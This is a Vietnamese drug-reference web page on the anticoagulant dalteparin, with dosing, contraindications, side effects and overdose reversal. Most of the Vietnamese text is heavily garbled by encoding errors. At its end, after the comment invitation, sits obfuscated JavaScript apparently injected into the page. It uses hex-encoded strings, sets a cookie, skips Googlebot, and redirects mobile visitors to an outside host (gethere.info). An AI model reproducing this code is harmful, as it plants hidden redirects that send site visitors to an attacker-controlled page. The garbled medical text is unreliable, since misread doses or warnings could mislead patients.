DALTEPARIN Thua��c cha��ng A�A?ng heparin tra�?ng l?�a�?ng phA?n ta�� tha??p

DALTEPARIN Thuốc chống đông heparin trọng lượng phân tử thấp

Tracuuthuoctay chia sa?� bA�i via??tA� DALTEPARIN Thua��c cha��ng A�A?ng; heparin tra�?ng l?�a�?ng phA?n ta�� tha??pA� gA�? giA? thua��c bao nhiA?u? cha�� A�a��nh, cA?ch sa�� da�?ng, tA?c da�?ng pha�? thua��c DALTEPARIN .Dalteparin A�?�a�?c dA?ng A�a�? da�� phA?ng huya??t kha��i tA�nh ma??ch sA?u sau pha?�u thua?�t cA? tha�? da?�n A�a??n ngha??n ma??ch pha��i, a�Y ng?�a�?i ba��nh pha??i pha?�u thua?�t ba�?ng cA? nguy c?? bia??n cha��ng huya??t kha��i ngha??n ma??ch. Nha�?ng ng?�a�?i ba��nh cA? nguy c?? bia??n cha��ng huya??t kha��i ngha??n ma??ch bao ga��m ng?�a�?i trA?n 40 tua��i, ng?�a�?i bA�o phA�, ng?�a�?i pha??i pha?�u thua?�t ca?�n gA?y mA? trong tha�?i gian h??n 30 phA?t, vA� ng?�a�?i cA? thA?m nha�?ng ya??u ta�� gA?y nguy c?? nh?� cA? ba��nh A?c tA�nh, hoa?�c tia�?n sa�� va�? huya??t kha��i tA�nh ma??ch sA?u hoa?�c ngha??n ma??ch pha��i. Nha�?ng ya??u ta�� khA?c gA?y nguy c?? ga��m ba??t A�a��ng kA�o dA�i hoa?�c ba??i A�lia��t, giA?n tA�nh ma??ch, suy tim sung huya??t, nha��i mA?u c?? tim, gA?y x?�??ng A�cha?�u, hA?ng, hoa?�c chi d?�a��i, vA� cA? tha�? ca?? lia��u phA?p estrogen lia�?u cao. A�NgoA�i ra, nha�?ng thay A�a��i ba?�m sinh hoa?�c ma??c pha??i va�? c?? cha?? ca?�m mA?u vA� da�? tra??ng thA?i tA?ng A�A?ng mA?u (lA�m cho nha�?ng ng?�a�?i ba��nh nA�y da�� ba�� huya??t kha��i ngha??n ma??ch) tra�Y nA?n nghiA?m tra�?ng h??n khi pha?�u thua?�t.

DALTEPARIN Thua��c cha��ng A�A?ng heparin tra�?ng l?�a�?ng phA?n ta�� tha??p

TA?n chung qua��c ta??: Dalteparin.

MA? ATC: B01A B04.

Loa??i thua��c: Thua��c cha��ng A�A?ng; heparin tra�?ng l?�a�?ng phA?n ta�� tha??p.

GiA? thua��c DALTEPARIN: BA�nh lua?�n cua��i bA�i via??t A�a�? A�?�a�?c thA?ng bA?o giA?

Da??ng thua��c vA� hA�m l?�a�?ng

  • Thua��c tiA?m Fragmine cha��a natri dalteparin lA� ma��t heparin cA? tra�?ng l?�a�?ng phA?n ta�� tha??p, vA? khua?�n. Ma��i b??m tiA?m cha��a 2.500 (16 mg natri dalteparin) hoa?�c 5.000 (32 mg natri dalteparin) A�??n va�� qua��c ta?? khA?ng ya??u ta�� Xa (A�vqt) trong 0,2 ml A�a�? tiA?m d?�a��i da.

D?�a�?c lA? vA� c?? cha?? tA?c da�?ng

  • Dalteparin lA� ma��t heparin gia??i trA?ng ha�?p, A�?�a�?c cha?? ta??o ba?�ng cA?ch giA?ng va�� heparin khA?ng phA?n A�oa??n cA? ngua��n ga��c ta�� niA?m ma??c rua��t la�?n, ba?�ng acid nitr??.
  • Dalteparin cA? tA?c da�?ng khA?ng huya??t kha��i ba?�ng cA?ch tA?ng a��c cha?? ya??u ta�� Xa vA� thrombin ba�Yi antithrombin. Dalteparin tA?ng a��c cha?? ?�u tiA?n ya??u ta�� A�A?ng mA?u Xa, trong khi cha�� a??nh h?�a�Yng A�t A�a??n tha�?i gian A�A?ng mA?u.
  • Dalteparin (tiA?m d?�a��i da ma��i ngA�y 2.500 A�??n va��) A�t nha??t cA�ng cA? hia��u qua?? ba?�ng heparin khA?ng phA?n A�oa??n (tiA?m d?�a��i da ma��i ngA�y 2 la?�n, ma��i la?�n 5.000 A�??n va��) trong da�� phA?ng huya??t kha��i ngha??n ma??ch a�Y ng?�a�?i ba��nh pha??i pha?�u thua?�t ba�?ng cA? nhia�?u nguy c??.
  • Hia��u qua?? ca��a dalteparin d?�a�?ng nh?� pha�? thua��c vA�o lia�?u l?�a�?ng.

D?�a�?c A�a��ng ha�?c

  • Na��ng A�a�� A�a��nh trung bA�nh ca��a hoa??t tA�nh khA?ng ya??u ta�� Xa trong huya??t t?�??ng sau khi tiA?m d?�a��i da lia�?u duy nha??t 2500 vA� 5000 A�vqt lA� 0,19 A� 0,04 vA� 0,41 A� 0,07 IU/ml t?�??ng a��ng vA� A�a??t A�?�a�?c sau khoa??ng 4 gia�?. A�Kha?? da�?ng sinh ha�?c tuya��t A�a��i, A�o ba?�ng hoa??t tA�nh khA?ng ya??u ta�� Xa lA� 87 A� A�6%. Hoa??t tA�nh A�a��nh ca��a khA?ng ya??u ta�� Xa tA?ng theo tuya??n tA�nh nhia�?u hay A�A�t cA?ng va��i lia�?u trA?n cA?ng pha??m vi lia�?u l?�a�?ng. KhA?ng cA? tA�ch lA�y A�A?ng ka�? hoa??t tA�nh khA?ng ya??u ta�� Xa khi tiA?m d?�a��i da lia�?u 100 A�vqt/kg ngA�y 2 la?�n, cho ta��i 7 ngA�y.
  • Tha�? tA�ch phA?n ba�� A�a��i va��i hoa??t tA�nh khA?ng ya??u ta�� Xa ca��a dalteparin lA� 40 – 60 ml/kg. A?a�� thanh tha??i trung bA�nh trong huya??t t?�??ng ca��a hoa??t tA�nh khA?ng ya??u ta�� Xa ca��a dalteparin a�Y ng?�a�?i bA�nh th?�a�?ng ta�� nguya��n sau khi tiA?m tA�nh ma??ch lia�?u duy nha??t 30 vA� 120 A�vqt hoa??t tA�nh khA?ng ya??u ta�� X?�a/kg lA� 24,6 A� 5,4 vA� 15,6 A� 2,4 ml/gia�?/kg t?�??ng a��ng. Na��a A�a�?i trung bA�nh t?�??ng a��ng lA� 1,47 A� 0,3 vA� 2,5 A� 0,3 gia�?.
  • Sau khi tiA?m tA�nh ma??ch lia�?u 40 vA� 60 A�vqt/kg, na��a A�a�?i tha??i tra�� cua��i cA?ng trung bA�nh t?�??ng a��ng lA� 2,1 A� 0,3 vA� 2,3 A� 0,4 gia�?. Na��a A�a�?i dA�i h??n rA� ra��t (3 A�a??n 5 gia�?) sau khi tiA?m d?�a��i da, cA? tha�? do ha??p thu cha?�m. So sA?nh va��i heparin khA?ng phA?n A�oa??n, dalteparin cA? kha?? da�?ng sinh ha�?c la��n h??n sau khi tiA?m d?�a��i da vA� cA? na��a A�a�?i dA�i h??n, nA?n cho phA�p tiA?m A�t la?�n h??n.
  • a�z ng?�a�?i suy tha?�n ma??n ca?�n pha??i la�?c mA?u, na��a A�a�?i tha??i tra�� cua��i cA?ng trung bA�nh ca��a hoa??t tA�nh khA?ng ya??u ta�� Xa dA�i h??n nhia�?u so va��i a�Y ng?�a�?i ta�� nguya��n kha�?e ma??nh, do A�A? cA? tha�? cA? tA�ch lA�y nhia�?u h??n a�Y ng?�a�?i ba��nh nA�y.

Cha�� A�a��nh thua��cA�DALTEPARIN

  • Dalteparin A�?�a�?c dA?ng A�a�? da�� phA?ng huya??t kha��i tA�nh ma??ch sA?u sau pha?�u thua?�t cA? tha�? da?�n A�a??n ngha??n ma??ch pha��i, a�Y ng?�a�?i ba��nh pha??i pha?�u thua?�t ba�?ng cA? nguy c?? bia??n cha��ng huya??t kha��i ngha??n ma??ch. Nha�?ng ng?�a�?i ba��nh cA? nguy c?? bia??n cha��ng huya??t kha��i ngha??n ma??ch bao ga��m ng?�a�?i trA?n 40 tua��i, ng?�a�?i bA�o phA�, ng?�a�?i pha??i pha?�u thua?�t ca?�n gA?y mA? trong tha�?i gian h??n 30 phA?t, vA� ng?�a�?i cA? thA?m nha�?ng ya??u ta�� gA?y nguy c?? nh?� cA? ba��nh A?c tA�nh, hoa?�c tia�?n sa�� va�? huya??t kha��i tA�nh ma??ch sA?u hoa?�c ngha??n ma??ch pha��i. Nha�?ng ya??u ta�� khA?c gA?y nguy c?? ga��m ba??t A�a��ng kA�o dA�i hoa?�c ba??i A�lia��t, giA?n tA�nh ma??ch, suy tim sung huya??t, nha��i mA?u c?? tim, gA?y x?�??ng A�cha?�u, hA?ng, hoa?�c chi d?�a��i, vA� cA? tha�? ca?? lia��u phA?p estrogen lia�?u cao. A�NgoA�i ra, nha�?ng thay A�a��i ba?�m sinh hoa?�c ma??c pha??i va�? c?? cha?? ca?�m mA?u vA� da�? tra??ng thA?i tA?ng A�A?ng mA?u (lA�m cho nha�?ng ng?�a�?i ba��nh nA�y da�� ba�� huya??t kha��i ngha??n ma??ch) tra�Y nA?n nghiA?m tra�?ng h??n khi pha?�u thua?�t.

Cha��ng cha�� A�a��nh thua��cA�DALTEPARIN

  • Ng?�a�?i ba��nh quA? ma?�n va��i dalteparin, hoa?�c va��i heparin vA� nha�?ng heparin cA? tra�?ng l?�a�?ng phA?n ta�� tha??p khA?c, hoa?�c nha�?ng cha?? pha?�m ta�� la�?n.
  • Ba��nh ma??ch nA?o hoa?�c A�ang cA? cha??y mA?u khA?c, phA�nh ma??ch nA?o.
  • Gia??m tia�?u ca?�u ka??t ha�?p va��i tha�� nghia��m in vitro d?�??ng tA�nh va�? khA?ng tha�? khA?ng tia�?u ca?�u va��i sa�� cA? ma?�t ca��a thua��c.
  • TA?ng huya??t A?p na?�ng khA?ng A�?�a�?c kia�?m soA?t.
  • Cha��ng cha�� A�a��nh dA?ng A�a��ng tha�?i heparin cA? tra�?ng l?�a�?ng phA?n ta�� tha??p vA� ka�? thua?�t gA?y tA? vA�o tra�?c nA?o ta��y (ta��y sa��ng/ngoA�i mA�ng ca��ng), hoa?�c tha�� thua?�t cha�?c ta��y sa��ng (vA� nguy c?? kha��i ta�? mA?u vA� th?�??ng ta��n tha?�n kinh, lia��t lA?u dA�i hoa?�c vA�nh via��n).

Tha?�n tra�?ng

  • Pha??i loa??i tra�� kha?? nA?ng ra��i loa??n cha??y mA?u tia�?m a?�n tr?�a��c khi ba??t A�a?�u lia��u phA?p dalteparin. Pha??i sa�� da�?ng dalteparin ha??t sa��c tha?�n tra�?ng a�Y ng?�a�?i ba��nh cA? nguy c?? cao va�? cha??y mA?u, ng?�a�?i ba��nh ma��i sinh A�a?�, hoa?�c gia??m tia�?u ca?�u, khuya??t ta?�t tia�?u ca?�u, hoa?�c cA? tia�?n sa�� gia??m tia�?u ca?�u do heparin, viA?m hoa?�c trA�n da��ch mA�ng ngoA�i tim, viA?m nhia��m khua?�n mA�ng trong tim, ra��i loa??n cha??y mA?u ba?�m sinh hoa?�c ma??c pha??i, loA�t A�ang hoa??t A�a��ng vA� ba��nh loa??n tA?i ta??o ma??ch da?? dA�y – rua��t, A�a��t qua�� cha??y mA?u, hoa?�c ma��i pha?�u thua?�t nA?o, ca��t sa��ng, hoa?�c ma??t, ba��nh vA�ng ma??c A�A?i thA?o A�?�a�?ng, suy gia??m cha��c nA?ng gan hoa?�c tha?�n, ma��i cha�?c ta��y sa��ng tha??t l?�ng, viA?m ma??ch, dA?ng A�a��ng tha�?i va��i aspirin.
  • Gia??m ba??t th?�a�?ng hematocrit hoa?�c huya??t A?p cA? tha�? cho bia??t cA? cha??y mA?u A�vA� pha??i nhanh chA?ng A�A?nh giA? A�a�? xA?c A�a��nh n??i cha??y mA?u.
  • Pha??i theo dA�i th?�a�?ng xuyA?n ng?�a�?i ba��nh dA?ng heparin cA? tra�?ng l?�a�?ng phA?n ta�� tha??p va�? nha�?ng da??u hia��u vA� tria��u cha��ng ta��n th?�??ng tha?�n kinh khi gA?y tA? tra�?c tha?�n kinh (gA?y tA? ta��y sa��ng/ngoA�i mA�ng ca��ng) hoa?�c khi cha�?c ta��y sa��ng.
  • VA� nguy c?? cha??y mA?u tA?ng, pha??i dA?ng ca?�n tha?�n dalteparin a�Y ng?�a�?i ba��nh A�ang A�?�a�?c A�ia�?u tra�� va��i thua��c ua��ng cha��ng A�A?ng vA�/hoa?�c thua��c a��c cha?? ka??t ta?�p tia�?u ca?�u.
  • TA?ng SGOT vA� SGPT ga??p 3 la?�n gia��i ha??n trA?n ma��c bA�nh th?�a�?ng mA� khA?ng kA?m theo tria��u cha��ng t?�??ng a��ng a�Y 1,7 vA� 4,3% ng?�a�?i ba��nh A�ang A�ia�?u tra�� ba?�ng dalteparin. Sa�� tA?ng transaminase rA� ra��t nA�y cA�ng tha??y a�Y ng?�a�?i ba��nh A�ia�?u tra�� ba?�ng heparin vA� cA?c heparin cA? tra�?ng l?�a�?ng phA?n ta�� tha??p khA?c, sau A�A? la??i hoA�n toA�n ha��i pha�?c vA� hia??m khi kA?m theo tA?ng bilirubin mA?u. VA� via��c xA?c A�a��nh transaminase lA� quan tra�?ng trong cha?�n A�oA?n phA?n bia��t nha��i mA?u c?? tim, ba��nh gan vA� ngha??n ma??ch pha��i, nA?n tA?ng transaminase do cA?c thua��c nh?� dalteparin pha??i A�?�a�?c nha?�n A�a��nh ma��t cA?ch tha?�n tra�?ng.

Tha�?i ka�? mang thai

  • Dalteparin A�A? A�?�a�?c dA?ng a�Y ma��t sa�� A�t pha�? na�? trong 3 thA?ng gia�?a hoa?�c 3 thA?ng cua��i ca��a tha�?i ka�? mang thai A�a�? da�� phA?ng hoa?�c A�ia�?u tra�� huya??t kha��i tA�nh ma??ch sA?u mA� khA?ng tha??y thua��c A�i qua nhau thai vA� khA?ng cA? bia�?u hia��n rA� ra��t va�? tA?c da�?ng khA?ng mong mua��n A�a��i va��i thai hoa?�c A�a��i va��i ma??. Tuy va?�y, cho ta��i nay va?�n ch?�a cA? nha�?ng cA?ng trA�nh nghiA?n ca��u A�a?�y A�a�� vA� cA? kia�?m tra va�? via��c dA?ng dalteparin a�Y ng?�a�?i mang thai, vA� va?�y cha�� nA?n dA?ng dalteparin cho ng?�a�?i mang thai trong tr?�a�?ng ha�?p tha��c sa�� ca?�n thia??t.

Tha�?i ka�? cho con bA?

  • Ma��t l?�a�?ng nha�? dalteparin phA?n ba�� vA�o sa�?a ma??. Ma?�c dA? ma��t cA?ng trA�nh nghiA?n ca��u A�A? A�A?nh giA? l?�a�?ng thua��c trong sa�?a A�A? khA?ng a??nh h?�a�Yng A�A?ng ka�? va�? ma?�t lA?m sA�ng, nh?�ng va?�n pha??i dA?ng dalteparin tha?�n tra�?ng cho ng?�a�?i A�ang cho con bA?.

TA?c da�?ng khA?ng mong mua��n (ADR)

  • Dalteparin th?�a�?ng A�?�a�?c dung na??p ta��t. Ma?�c dA? nha�?ng tA?c da�?ng khA?ng mong mua��n A�a��i va��i dalteparin th?�a�?ng nha??, nh?�ng trong tha�� nghia��m lA?m sA�ng A�A? pha??i nga��ng thua��c a�Y khoa??ng 1 – 5% ng?�a�?i ba��nh dA?ng dalteparin, cha�� ya??u vA� bia??n cha��ng cha??y mA?u. Bia??n cha��ng cha??y mA?u nha?? va��i dalteparin cA? ta�� la�� t?�??ng ta�� hoa?�c tha??p h??n so va��i heparin khA?ng phA?n A�oa??n. TA?c da�?ng khA?ng mong mua��n th?�a�?ng ga?�p nha??t ca��a dalteparin lA� ba�?c mA?u a�Y n??i tiA?m.
  • Th?�a�?ng ga?�p, ADR > 1/100
  • Huya??t ha�?c: Cha??y mA?u, ba�?c mA?u do va??t th?�??ng.
  • Ta??i cha��: A?au a�Y n??i tiA?m, kha��i ta�? mA?u n??i tiA?m.
  • A?t ga?�p, 1/1000 < ADR < 1/100
  • Tha?�n kinh trung ?�??ng: Sa��t da�� a��ng.
  • Da: Nga��a, ban, ban ba�?ng n?�a��c, hoa??i ta�� da.
  • Huya??t ha�?c: Gia??m tia�?u ca?�u.
  • Ta??i cha��: Pha??n a��ng a�Y n??i tiA?m.
  • Hia??m ga?�p, ADR < 1/1000
  • KhA?c: Pha??n a��ng kia�?u pha??n va��.

H?�a��ng da?�n cA?ch xa�� trA� ADR

  • Na??u xa??y ra huya??t kha��i ngha??n ma??ch ma?�c dA? A�A? A�ia�?u tra�� da�� phA?ng ba?�ng dalteparin, pha??i nga��ng thua��c vA� sa�� da�?ng lia��u phA?p thA�ch ha�?p.
  • Na??u xa??y ra cha??y mA?u nghiA?m tra�?ng, pha??i dA?ng protamin sulfat ngay la?�p ta��c.
  • Na??u tha??y cA? ta��n th?�??ng tha?�n kinh, ca?�n pha??i A�ia�?u tra�� kha?�n ca??p.

Lia�?u l?�a�?ng vA� cA?ch dA?ng

CA?ch dA?ng:

  • Dalteparin A�?�a�?c tiA?m d?�a��i da sA?u; KhA?ng A�?�a�?c tiA?m thua��c nA�y vA�o ba??p tha��t. Ng?�a�?i ba��nh pha??i a�Y t?� tha?? nga��i hoa?�c na?�m trong khi tiA?m thua��c. TiA?m vA�o vA?ng xung quanh ra��n tua?�n ta�� theo hA�nh cha�? U, vA�o phA�a ngoA�i trA?n ca��a A�A?i, hoa?�c vA�o vA?ng ta�� giA?c ngoA�i trA?n ca��a mA?ng; hA�ng ngA�y pha??i thay A�a��i xen ka?? nha�?ng n??i tiA?m. Khi tiA?m natri dalteparin vA�o vA?ng chung quanh ra��n hoa?�c vA�o A�A?i, pha??i cha�?c kim tiA?m vA�o ma��t na??p ga??p da ta??o nA?n gia�?a ngA?n cA?i vA� ngA?n tra�?; gia�? da cho ta��i khi rA?t kim tiA?m. Khi tiA?m natri dalteparin, ca??m toA�n ba�� chia�?u dA�i ca��a kim tiA?m vA�o n??i tiA?m, theo ma��t gA?c 45 – 900.
  • Lia�?u l?�a�?ng:
  • KhA?ng tha�? thay dalteparin natri, ba?�ng heparin khA?ng phA?n A�oa??n hoa?�c ba?�ng heparin tra�?ng l?�a�?ng phA?n ta�� tha??p khA?c trA?n c?? sa�Y lia�?u l?�a�?ng nh?� nhau: Ma��t A�??n va�� cho ma��t A�??n va�� (hoa?�c mg cho mg).
  • Lia�?u l?�a�?ng dalteparin natri A�?�a�?c bia�?u tha�� ba?�ng A�??n va�� qua��c ta?? khA?ng – ya??u ta�� Xa (A�vqt). Ma��i mg dalteparin natri t?�??ng A�?�??ng va��i 156,25 A�??n va�� qua��c ta??.
  • A?a�? da�� phA?ng huya??t kha��i tA�nh ma??ch sA?u sau pha?�u thua?�t ba�?ng a�Y ng?�a�?i cA? nguy c?? bia??n cha��ng huya??t kha��i ta??c ma??ch ta�� va��a A�a??n cao, lia�?u natri dalteparin th?�a�?ng dA?ng lA� tiA?m d?�a��i da 2.500 A�??n va�� ma��i ngA�y. Lia�?u A�a?�u tiA?n pha??i tiA?m 1 – 2 gia�? tr?�a��c pha?�u thua?�t. TiA?m tia??p lia�?u dalteparin natriDALTEPARINn2.500 A�??n va�� ma��i ngA�y trong tha�?i ka�? sau pha?�u thua?�t, th?�a�?ng trong 5 – 10 ngA�y, cho A�a??n khi nguy c?? huya??t kha��i tA�nh ma??ch sA?u A�A? gia??m.
  • A?a�? da�� phA?ng huya??t kha��i tA�nh ma??ch sA?u sau pha?�u thua?�t ba�?ng a�Y ng?�a�?i cA? nguy c?? bia??n cha��ng huya??t kha��i ngha??n ma??ch ta�� cao A�a??n ra??t cao (vA� da�?, ng?�a�?i cA? ba��nh A?c tA�nh, cA? tia�?n sa�� huya??t kha��i tA�nh ma??ch sA?u hoa?�c ngha??n ma??ch pha��i), cA? tha�? tiA?m d?�a��i da 5.000 A�??n va�� natri dalteparin vA�o bua��i chia�?u tr?�a��c pha?�u thua?�t, tia??p theo A�A?, tiA?m 5.000 A�??n va�� ma��i ngA�y trong tha�?i ka�? sau pha?�u thua?�t, th?�a�?ng trong 5 – 10 ngA�y, cho ta��i khi nguy c?? huya??t kha��i tA�nh ma??ch sA?u A�A? gia??m.
  • CA? tha�? A?p da�?ng cA?ch dA?ng khA?c, tiA?m d?�a��i da 2.500 A�??n va�� dalteparin 1 – 2 gia�? tr?�a��c pha?�u thua?�t; 12 gia�? sau, tiA?m ma��t lia�?u tha�� hai 2.500 A�??n va�� vA� sau A�A? 5.000 A�??n va�� ma��t la?�n ma��i ngA�y trong tha�?i ka�? sau pha?�u thua?�t, th?�a�?ng trong 5 – 10 ngA�y, cho ta��i khi nguy c?? huya??t kha��i tA�nh ma??ch sA?u gia??m.
  • Na??u tha��c hia��n A�A?ng cha?? A�a�� dA?ng thua��c nh?� trA?n thA� nA?i chung khA?ng ca?�n pha??i hia��u cha��nh lia�?u l?�a�?ng vA� theo dA�i th?�a�?ng quy nha�?ng thA?ng sa�� va�? A�A?ng mA?u.
  • A?ia�?u tra�� huya??t kha��i tA�nh ma??ch sA?u: TiA?m d?�a��i da: 200 A�v/kg (ta��i A�a 18000 A�v.) tiA?m 1 lia�?u A�??n trong ngA�y (hoa?�c 100 A�v/kg ngA�y 2 la?�n na??u cA? tA?ng nguy c?? cha??y mA?u) kA?m thA?m A�ia�?u tra�� cha��ng A�A?ng mA?u ba?�ng
  • A�?�a�?ng ua��ng cho ta��i khi na��ng A�a�� pha��c ha�?p prothrombin na?�m trong pha??m vi A�ia�?u tra�� (thA?ng th?�a�?ng trong A�t nha??t 5 ngA�y).
  • Lia�?u l?�a�?ng trong suy gan vA� tha?�n:
  • NguyA?n ta??c hia��u cha��nh lia�?u l?�a�?ng dalteparin natri a�Y ng?�a�?i ba��nh suy cha��c nA?ng gan vA� tha?�n ch?�a A�?�a�?c xA?c A�a��nh. Tuy va?�y, ca?�n sa�� da�?ng dalteparin ma��t cA?ch tha?�n tra�?ng a�Y ng?�a�?i ba��nh suy gan hoa?�c tha?�n na?�ng. CA? A�t ba?�ng cha��ng cho tha??y tha??i tra�� dalteparin cA? tha�? ba�� cha?�m la??i a�Y ng?�a�?i ba��nh suy tha?�n ma??n tA�nh ca?�n pha??i tha?�m tA?ch mA?u.

T?�??ng tA?c thua��c

  • TA?ng A�a��c tA�nh: Ca?�n tha?�n tra�?ng khi dA?ng aspirin, thua��c a��c cha?? tia�?u ca?�u A�khA?c, vA� thua��c ua��ng cha��ng A�A?ng ka??t ha�?p va��i dalteparin, vA� nguy c?? cha??y A�mA?u tA?ng lA?n.

A?a�� a��n A�a��nh vA� ba??o qua??n

  • Thua��c tiA?m dalteparin natri A�?�a�?c ba??o qua??n a�Y nhia��t A�a�� phA?ng cA? A�ia�?u hA?a 200C – 250C.

T?�??ng ka��

  • NA?i chung, khA?ng A�?�a�?c tra��n la?�n dalteparin va��i nha�?ng thua��c tiA?m hoa?�c dung da��ch tiA?m truya�?n khA?c tra�� phi cA? nha�?ng t?� lia��u riA?ng bia��t va�? sa�� t?�??ng ha�?p xA?c nha?�n cA? tha�? tra��n la?�n nh?� va?�y.

QuA? lia�?u vA� xa�� trA�

  • Dalteparin tiA?m quA? lia�?u cA? tha�? da?�n A�a??n bia??n cha��ng cha??y mA?u. CA? tha�? lA�m nga��ng bia??n cha��ng cha??y mA?u ba?�ng cA?ch tiA?m tA�nh ma??ch cha?�m sulfat protamin (dung da��ch 1%), va��i lia�?u 1mg protamin cho ma��i l?�a�?ng 100 A�??n va�� qua��c ta?? khA?ng ya??u ta�� Xa ca��a dalteparin A�A? dA?ng. CA? tha�? tiA?m truya�?n ma��t lia�?u tha�� hai 0,5 mg sulfat protamin cho ma��i l?�a�?ng 100 A�??n va�� qua��c ta?? khA?ng ya??u ta�� Xa ca��a dalteparin, na??u thA?ng sa�� A�A?ng mA?u A�o trong 2 – 4 gia�? sau la?�n tiA?m truya�?n sulfat protamin tha�� nha??t va?�n cA?n kA�o dA�i. Ngay ca?? va��i lia�?u protamin ba�� sung nA�y, thA?ng sa�� A�A?ng mA?u va?�n cA? tha�? kA�o dA�i so va��i khi dA?ng heparin th?�a�?ng. a�z ma�?i tr?�a�?ng ha�?p, hoa??t tA�nh khA?ng ya??u ta�� Xa khA?ng bao gia�? A�?�a�?c trung hA?a hoA�n toA�n (ta��i A�a khoa??ng 60 – 70%).
  • Pha??i A�a?�c bia��t ca?�n tha?�n A�a�? trA?nh dA?ng sulfat protamin quA? lia�?u. Sulfat protamin cA? tha�? gA?y pha??n a��ng ha?? huya??t A?p vA� pha??n a��ng da??ng pha??n va�� nghiA?m tra�?ng. Sulfat protamin quA? lia�?u cA�ng cA? tha�? gA?y cha??y mA?u. VA� pha??n a��ng gA?y ta�� vong do protamin, A�A? A�?�a�?c thA?ng bA?o, th?�a�?ng gia��ng pha??n a��ng pha??n va��, nA?n cha�� dA?ng protamin khi cA? sa?�n sA�ng nha�?ng ka�? thua?�t ha��i sa��c vA� A�ia�?u tra�� choA?ng pha??n va��.

ThA?ng tin qui cha??

Dalteparin pha??i A�?�a�?c kA? A�??n vA� bA?n theo A�??n.

Ngua��n d?�a�?c th?� qua��c gia

Tham kha??o hA�nh a??nh cA?c dA?ng thua��cA�DALTEPARIN Thua��c cha��ng A�A?ng heparin tra�?ng l?�a�?ng phA?n ta�� tha??p

DACARBAZIN Cha��ng ung th?� DACARBAZIN Cha��ng ung th?�

Vui lA?ng A�a?�t cA?u ha�?i va�? bA�i via??t DALTEPARIN Thua��c cha��ng A�A?ng heparin tra�?ng l?�a�?ng phA?n ta�� tha??p, chA?ng tA?i sa?? tra?? la�?i nhanh chA?ngvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| 